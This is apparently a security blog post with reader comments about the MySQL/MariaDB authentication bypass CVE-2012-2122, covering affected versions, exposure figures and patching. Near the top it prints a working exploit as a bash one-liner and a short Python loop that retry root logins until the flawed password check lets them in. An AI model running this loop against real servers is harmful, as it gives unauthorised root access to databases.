The latest news that has hit the streets is the occurence of the easiest hack ever, if you have local shell access (any user privelege level) and you can connect to MySQL – you can get root access to MySQL within a few seconds.
I tried this yesterday on one of my servers on Ubuntu 12.04 running the latest version of MySQL in the repo…and it worked in about 30 seconds. Scary really, you can use this single line of bash to hack MySQL:
|
1 |
while [ 1 ];do mysql -u root --password=123; done |
Or the Python version I originally saw:
|
1 2 3 4 5 |
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait() |
Security experts have identified some 879,046 servers vulnerable to a brute force flaw that undermines password controls in MySQL and MariaDB systems.
According to Rapid7 security chief HD Moore, one in every 256 brute force attempts could override authentication controls on the servers and allow any password combination to be accepted. An attacker only needed to know a legitimate username which in most circumstances included the name ‘root’.
The flaw has already been exploited. Moore reported that the flaw (CVE-2012-2122) was already patched for both MySQL and MariaDB, but many MySQL administrators had not fixed the hole in their deployments.
Upon scanning 1.7 million publicly exposed MySQL servers, he found more than half (879,046) vulnerable to the “tragically comedic” flaw.
There’s a lot of vulnerable servers out there, so you better hope they aren’t yours because it’s not hard to scan whole subnets for servers with port 3306 open that accept connections from the outside world.
And if your server is in that state – it’s vulnerable. I just checked the repos for Ubuntu 10.04 LTS and Ubuntu 12.04 LTS and they both have a patched version of MySQL available for download so I suggest you get on your servers and do –
|
1 |
aptitude update; aptitude safe-upgrade |
If you are using a shitty OS that uses yum or something – figure it out yourself.
Affected versions, listed below, require for memcmp() to return an arbitrary integer outside of the range -128 to 127. All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5 and 5.5.22 were vulnerable, Golubchik said.
Moore and other security boffins identified vulnerable versions in Ubuntu 64-bit versions 10.04, 10.10, 11.04, 11.10, and 12.04, OpenSUSE 12.1 64-bit MySQL 5.5.23, and Fedora. Official builds of MariaDB and MySQL were safe, along with Red Hat Enterprise Linux 4, 5 and 6 and some flavours of Debian Linux and Gentoo 64 bit.
A list of accessible MySQL servers found 356,000 deployments running versions of 5.0.x, followed by 285,000 running 5.1.x, and 134,436 running 5.5.x. Another list of MySQL build flavours revealed 43,900 running Ubuntu, 6408 on Debian, and 98,665 on Windows.
Honestly I find that this is a really serious vulnerability, but has a pretty low risk profile. It will only work in cases of badly configured MySQL users where they accept connections from any IP address – user@% type entries in the user table.
NO ONE should be running root@% – so that would mean the attacker would need local shell access. And well if they have that, it’s pretty much game over anyway.
This vulnerability is notated as CVE-2012-2122.
Source: SC Magazine
inzel says
Thats pretty crazy. Such a simple hack yet so dangerous.
Good write up!
Joey says
Agreed, good write up, though it didn’t work on my Mac OS X homebrew install of MySQL. There’s a typo in your aptitude command. It should be.
aptitude update; aptitude safe-upgrade
Darknet says
Thanks Joey – fixed the typo.
Keith says
Interesting, I can’t get that to work on my test VM which is also running Ubuntu 12.04 server, I may have patched it yesterday though.
However, I just tried an old server I had, which runs Debian 5 Lenny (not patched) and it didn’t work either.
Darknet says
Yah it’s only a few specific versions – it worked on 10.04/12.04 2 days ago – but if you updated yesterday MySQL would be patched.
Godrick says
>shitty OS
>exploit only works on Debian based machines
pick both
d3m4s1@d0v1v0 says
I’ve tested the exploit on my debian wheezy with a not updated MySQL, and wasn’t vulnerable. I leave it running for an hour o so, and couldn’t get access.
It’s weird that an exploit like this wasn’t discovered before.
Darknet says
It’s because it’s due to compilation options, it’s not specifically a MySQL error.
Pb says
useless and gay.
Shiva says
That works only in case when there is no password for local connection.
I tested it on debian sid and it is non-exploitable.
I guess it works only when you do leave possibility of login to mysql as root without specifying password. If you do not set to local root connections be passwordless or anything like that I didnt played a lot with mysql options then you can log as root thru the socket passwordlessly.
Darknet says
No, it works whatever password has been set. It does an incorrect comparison due to compilation options – it works once every 64-128 tries.
Bogwitch says
“NO ONE should be running root@% – so that would mean the attacker would need local shell access. And well if they have that, it’s pretty much game over anyway.”
An attacker would need local shell access to login as root BUT, if an attacker has done the usual intelligence gathering, they may well have found a username that WILL work remotely. The only reason root is used in the many and varied examples found on the ‘net is the root user is most likely to exist within SQL, it is most likely the only account to have any form of protection, too!
Darknet says
That’s very true – it’s just that root is the low hanging fruit in this case and it generally has the most access (system tables etc) – where as specific accounts usually have access to only 1 table.
Prashant Pandey says
Interesting, I call it an easy tool for beginners especially in Indian/ south Asian countries environment where responsible even are not much aware about root access & security. Even if some do than their pirated OS/ software’s revert them a kick.
Keep writing up man, Nice effort.